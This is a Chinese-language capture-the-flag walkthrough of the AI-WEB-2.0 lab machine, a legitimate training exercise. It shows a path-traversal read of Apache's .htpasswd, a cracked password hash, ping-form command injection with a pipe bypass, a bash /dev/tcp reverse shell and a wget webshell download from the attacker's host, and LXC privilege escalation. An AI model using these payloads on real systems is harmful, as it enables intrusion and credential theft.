靶场环境

局域网网段:192.168.111.0/24

攻击机 kali:192.168.111.128/24

目标机 AI-WEB-2.0:192.168.111.130/24

打靶目标

获得靶机的ROOT权限,拿到唯一的flag

信息收集

因为是在同一网段,所以直接扫描存活主机,用nmap或者arp-scan都可以

其他两个IP为主机和kali机,所以目标机的ip为192.168.111.130,

端口开放了80和22端口,分别是web和ssh远程登录服务,那么就从web服务入手

游览器访问该网站的web服务,网站做的很简洁,就是一个登录注册的功能,而且也没有过多的js文件和有用的注释

随便注册一个,登录进去,然而登录进去之后就是一个静态页面,没有特定功能,有点难办啊

找不到什么有用的信息,那么就扫一下目录

唯一可能有用的东西就是download.php了,但是访问是空白页面

web渗透

在此之前做了一些尝试,比如登录页或者注册页可能会存在sql注入

但是实际上防御的非常严格,注册页的登录框过滤了字符,应该是找不到sql注入的点的,我甚至有点怀疑这个php的站后端是用json来储存用户数据的。

任意文件读取

无奈,又去翻了翻源代码

唯一的注释让我有点在意,于是就去github上搜这个作者的名字,碰碰运气。看能不能找到源码,(虽然希望不大,但是也是一种思路)

也算是歪打正着,不过不是查到了源码

它的这个Filesharing项目中也有download.php,能够任意文件读取,那么猜想本站中的download.php文件中的参数是不是也是这个file_name,会不会页存在任意文件读取

结果试了试,假设成立

下一步就读取源码了,不过这里有个小坑,download.php文件的后端代码好像不处理相对路径,所以只能用绝对路径来下载本站的源码

/download.php?file_name=../../../../../../../../../var/www/html/index.php

把源码都下载下来,分析一下代码

随意看看代码,果然不是用sql的,印证的我的猜想

注册的用户名就存储在这个文件中,看了一会,确定没有什么可以拿shell的地方

思绪又回到文件读取,仔细看网站,好像就是Filesharing项目,刚才怎么没仔细看,怪不得也是那个参数

其实刚扫目录的时候扫了一堆401

当客户端向服务器发送请求时,服务器可能需要对客户端进行身份验证,以确保客户端有权访问所请求的资源。如果服务器收到一个未经授权的请求,它会返回HTTP 401状态码,提示客户端需要提供有效的凭据来访问所请求的资源

看样子是使用账号密码认证

本站是一个apache服务器搭建的,apache通常会有一个认证文件

Apache的认证文件用于实施基于HTTP认证的安全性措施,以确保只有经过授权的用户可以访问特定的资源、目录或网页。这种认证通常使用HTTP Basic Authentication或其他身份验证方法。

利用这个文件读取漏洞来下载这个认证文件

网上查了查认证文件的路径,有三种常见的储存位置,在外部根目录之外的路径为 /etc/apache2/.htpasswd

果然存储着账号密码,密码是hash加密了的,用john爆破一下

成功爆破出密码

访问 /webadmin/admin.php登录凭证

在robots.txt文件中有两个目录,访问第一个

是一个ping,根据做ctf的经验,肯定就是一个RCE了

命令执行

先ping一下127.0.0.1测试功能是否完整

我既然能读源码了,就不用一个个试,看过滤了哪些字符,直接白盒审计

黑名单如上,使用 shell_exec 函数来执行ping命令

这个黑名单要仔细看,

将 | 和空格替换为空,有点坑啊,要眼神不好就发现不了,那么管道符就可以来绕过了

执行命令

127.0.0.1|whoami

kali开启8787端口监听,反弹shell到我的kali机上

bash -i >& /dev/tcp/192.168.111.128/8787 0>&1

很奇怪没反弹成功,都能ping了,不应该不出网的啊,那就写马吧

127.0.0.1|echo "<?php eval($_POST[1]);?>">1.php

写是写上去了,但是执行命令没反应,下载文件看看

很离谱,过滤了关键字,(),$,那函数都写不进去了啊

再试试wget远程下马吧

kali机写一个马,用python开一个web服务

wget远程下载木马,payload:

127.0.0.1|wget http://192.168.111.128:8787/shell.php

奈斯,接下来就用蚁剑连接吧

报红。。。猜测可能需要401认证,利用这个木马来反弹shell也没反应

继续收集信息,看一下上一级目录有什么文件

还有一个 S0mextras 目录没有去看

莫非存在ssh远程登录的账号密码?cat看一下

是有的,远程登录ssh

ssh n0nr00tuser@192.168.111.130

OK,终于有目标机器的交互式shell了

Linux提权

输入 sudo -l 看看有没有sudo滥用的情况,尝试用有root权限的命令来提权

很明显没有,那就换一种思路,找找内核漏洞

输入 uname -a 查看操作系统相关信息

比较新,网上搜了搜好像没有相关的漏洞提权脚本

再尝试用suid提权思路,输入命令

find / -perm -u=s -type f 2>/dev/null
这个命令是从根目录查找具有s权限的二进制文件,并将标准错误输出重定向到/dev/null

可以尝试一下这个文件

lxc是一种轻量级的虚拟化技术,用于在单个Linux主机上创建和管理多个隔离的容器。容器是一种虚拟化形式,允许你在同一物理主机上运行多个独立的操作系统实例,但它们共享主机操作系统的内核,从而减少了资源开销和提高了性能。
lxc提权的原理大致就是用户创建一个容器,再用容器挂载宿主机的磁盘,然后用容器的权限去操作宿主机磁盘内容从而达到提权

漏洞库搜索相关脚本

把脚本复制到当前目录,并且要编辑 输入 :set ff=unix,不然运行会报语法错误,运行脚本还需要在github上下载一个文件

就是这个gz压缩包,kali开启web服务,把者两个文件下载到目标机器的tmp目录下,因为tmp目录通常是给足了权限的

给sh脚本添加执行权限,执行该脚本

./46978.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz

提权成功,找flag,在/mnt/root/root目录下

成功找到flag。

打靶感悟:信息收集尤为重要